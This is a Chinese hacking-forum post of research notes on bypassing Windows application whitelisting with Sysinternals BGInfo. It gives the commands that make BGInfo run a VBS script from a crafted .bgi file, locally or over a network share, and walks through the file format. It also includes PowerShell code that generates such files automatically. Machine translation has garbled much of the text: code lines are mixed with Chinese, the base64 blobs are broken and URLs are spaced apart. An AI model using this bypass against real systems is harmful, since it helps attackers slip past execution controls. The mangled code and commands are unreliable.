跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

使用bginfo绕过申请白名单的研究笔记

精选回复

发布于

0x00 前言

最近看到一篇有趣的文章《Bypassing Application Whitelisting with BGInfo》,介绍了如何通过BGInfo绕过白名单。对此很感兴趣,于是研究整理了这部分,同时开源了一个powershell脚本用于自动生成。bgi文件。

文章地址如下:

https://msitpros.com/?p=3831

0x01 简介

本文将介绍以下内容:

Bginfo简介

通过Bginfo绕过白名单的实际操作

如何使用powershell编辑二进制文件

如何开发powershell脚本自动生成?bgi文件

0x02 Bginfo

bginfo——显示Windows系统信息的强大工具,来自Sysinternals套件。

下载地址:

https://technet.microsoft.com/en-us/sysinternals/bb897557.aspx

注:

bginfo.exe的最新版本是4.22,本文中的测试版本是4.21。

1、简介

您可以在桌面的某个区域自动显示当前的Windows环境信息。

如图所示

2-1.png

设置完成后,桌面显示Windows环境信息,如图所示

2-2.png

要编辑显示的信息,可以将其保存为config.bgi,并在使用时导入。

2、Bginfo命令行模式

/h弹出帮助

2-3.png

通过命令行设置桌面显示信息的命令如下:

bginfo.exe配置/bgi/定时器:0/无提示/无声

3、扩展:

点击自定义,自定义桌面显示,如图所示。

2-4.png

选择新建

设置数据源,包括环境变量、注册表项、WMI、文件和VB脚本。

4、导入WMI查询:

添加一个WMI查询,如图所示

2-5.png

在面部添加显示内容,修改桌面,成功显示新内容,如图。

2-6.png

5、导入VBS:

添加vbs查询,vbs脚本可以参考:

https://gist . githubusercontent . com/API 0 cradle/EFC 90 f 8318556 f 0737791 b 6d 73 a 4 EC 8 b/raw/9 a 46 f 4 c dacb 5752 e 721 E1 e 3701308939351 b 4768/gist file 1 . txt

vbs脚本实现了:

开始cmd.exe。

桌面上的输出:“这上面说什么不重要”

导入vbs脚本后,点击应用成功弹出cmd.exe,输出与桌面上显示的内容无关。

2-7.png

整个启动过程也可以在cmd下实现。

(1)将上述bgi项目保存为vbs.bgi

(2) cmd:

bginfo.exe VBS . bgi/timer:0/nolicprompt/silent

6、bginfo.exe和vbs.bgi可以放在远程服务器,通过网络共享访问执行

cmd:

\ \ WIN-FVJLPTISCFE \ test \ bginfo . exe \ \ WIN-FVJLPTISCFE \ test \ test1 . bgi/timer:0/nolicprompt/silent

完整的操作如图所示。

3-1.gif

0x03 通过Bginfo绕过白名单

完整过程如下:

1.启动bginfo.exe,添加导入vbs脚本功能,设置vbs脚本路径,删除桌面显示内容。

2.将bgi项目另存为。bgi文件。

3.命令行执行代码:

bginfo.exe VBS . bgi/timer:0/nolicprompt/silent

注:

bginfo.exe的版本需要低于4.22,它已经修复了上述问题。

整个绕过的过程很简单,但是第1步和第2步比较麻烦。通过UltraEdit查看vbs.bgi,如图。

4-1.png

好像是遵循一定格式的,那么有没有可能自动生成。通过powershell脚本的bgi文件?

0x04 bgi文件格式

通过文件比较猜测bgi文件格式

使用十六进制文件比较工具:超越比较

设置不同的vbs路径,比较不同之处,如图。

4-2.png

不难发现,区别只存在于从0x00000301和0x00000306开始的vbs路径中。

0x00000000-0x0x00000300是固定格式。

C: \ test \ 1。VBS的长度是13,0x00000301标志位的值是0x0F,十进制是15。

字符串c: \ test \ cmd.vbs的长度为15,0x00000301标志位的值为0x11,十进制为17。

大胆猜测:

标志位0x00000301表示内容为vbs路径长度2,并转换为十六进制存储。

注:

Vbs路径C: \ test \ 1。VBS的磁盘目录C需要大写,否则文件格式不对。

0x05 如何使用powershell编辑二进制文件

使用powershell读写文件,最常见的方式有:

读取文件:获取内容

写文件:设置内容

但对于非txt的文件,如果有特殊字符,通过上述方法会出现bug,特殊字符串会被自动过滤,导致长度不同,内容错误。

读写二进制文件的方法:

读取二进制文件:

【系统。IO.File]:ReadAllBytes('1.txt ')

编写二进制文件:

【系统。IO.File]:WriteAllBytes('1.txt ',$fileContentBytes)

修改二进制文件:

使用system.io.filestream

代码如下:

$ fs=新对象io。文件流”测试1。bgi”,开启

$ fs。搜索(0.2)

$fs.writebyte(0x00)

$fs.flush()

$fs.close()

参数说明:美元

$ fs=新对象io。文件流”测试1。bgi”,开启:

开放的表示追加,新建一个表示新建

$ fs。seek(0.2):

第一个参数表示偏移

第二个参数:0表示以文件开头作为起点,1表示以当前位置作为起点,2表示以文件末尾作为起点

0x06 编写powershell脚本实现自动生成.bgi文件

开发思路:美元

读取0x 00000000-0x 00000内容,作64号基地编码并保存在变量$文件内容-档案内容中

对变量$文件内容-档案内容作64号基地解码,写入新文件测试1 .华大基因

使用追加方式向文件依次写入标志位,vbs路径和其他填充位

流程如下:美元

写入0x 00000000-0x 00000内容

计算标志位

以二进制方式写入标志位

使用在外档案向文件追加写入vbs档路径,但是会存在冗余数据0D0A

偏移-2个,以二进制方式填充其他位置,覆盖冗余数据0D0A

关键代码如下:美元

将0x 00000000-0x 00000内容保存为1 .华大基因

powershell代码:

$文件内容=[系统10 . io。file):读取所有字节(' 1。bgi’)”

$ file contentencoding=[系统。转换* to base 64字符串($ file content)| set-content(' buffer。txt ')"

生成缓冲区. txt文件,内容如下:

cwaaaej hy 2 tncm 91 bmqabaqaaaaaaaaaaaafbvc 2 l0aw 9 uaaaaaaaaaaaaaaaaaaaaa/gmaaagabnb 25 pd9 yaaaaaaaaaaaaaaaaaqaaa 4 aaabuxnrymfyqwrqdxn 0 aaqaaaaaaaaazaabuzxh 0 v2 lkdggygaqaqaaaaaaaaaaaaaaaaaaaaaaaaasaaaabpdxrwdxrgawwwxrgawwqxaljlbxejhsw 5 mby 5 ibxaacqaaaerdgfaerdgfiyxnlal

将其保存在变量$文件内容-档案内容中,解密并写入文件测试1 .华大基因

$ file content=' cwaaajhy 2 tncm 91 bmqabaqaaaaaaaaqafbvc 2l 0 aw 9 uaaqanaaaa/gmaaagaaabnb 25个CEO 9 yaaqaaaaaaqaaa 4 aaabuxnrymfyqwrqdxn 0 aaqaaaaaaaaaaazaabuzxh 0 v2 lkdggyaaqaaaaaaaaaaaaaaaaaaahhssaabpdxrwdxrgawxrw

$ file contentbytes=[系统。转换:FromBase64String($fileContent)

[系统10 . io。file):写入所有字节(' test 1。bgi ',$fileContentBytes)

标志位计算:

$VbsPath='C:\test\1.vbs '

$Length=$VbsPath .长度2

写入长度标志位空闲填充位

$ fs=新对象io。文件流”测试1。bgi”,开启

$ fs。搜索(0.2)

$fs.writebyte($Length)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x34)

$fs.flush()

$fs.close()

追加写入vbs档脚本路径:

$VbsPath |输出文件编码ascii-追加test1.bgi

存在冗余数据0D0A,所以偏移应该为-2个,写入空闲填充位:

$ fs=新对象io。文件流”测试1。bgi”,开启

$ fs。seek(-2.2)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x01)

$fs.writebyte(0x80)

$fs.writebyte(0x00)

$fs.writebyte(0x80)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.writebyte(0x00)

$fs.flush()

$fs.close()

完整代码已上传至github:

https://github.com/3gstudent/bgi-creater

完整操作如图

5-1.gif

0x07 小结

本文介绍了通过BGInfo实现白名单绕过的方法,同时介绍了通过powershell编辑二进制文件的方法,开源了一个powershell生成。华大基因文件的脚本,希望能够帮助大家

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。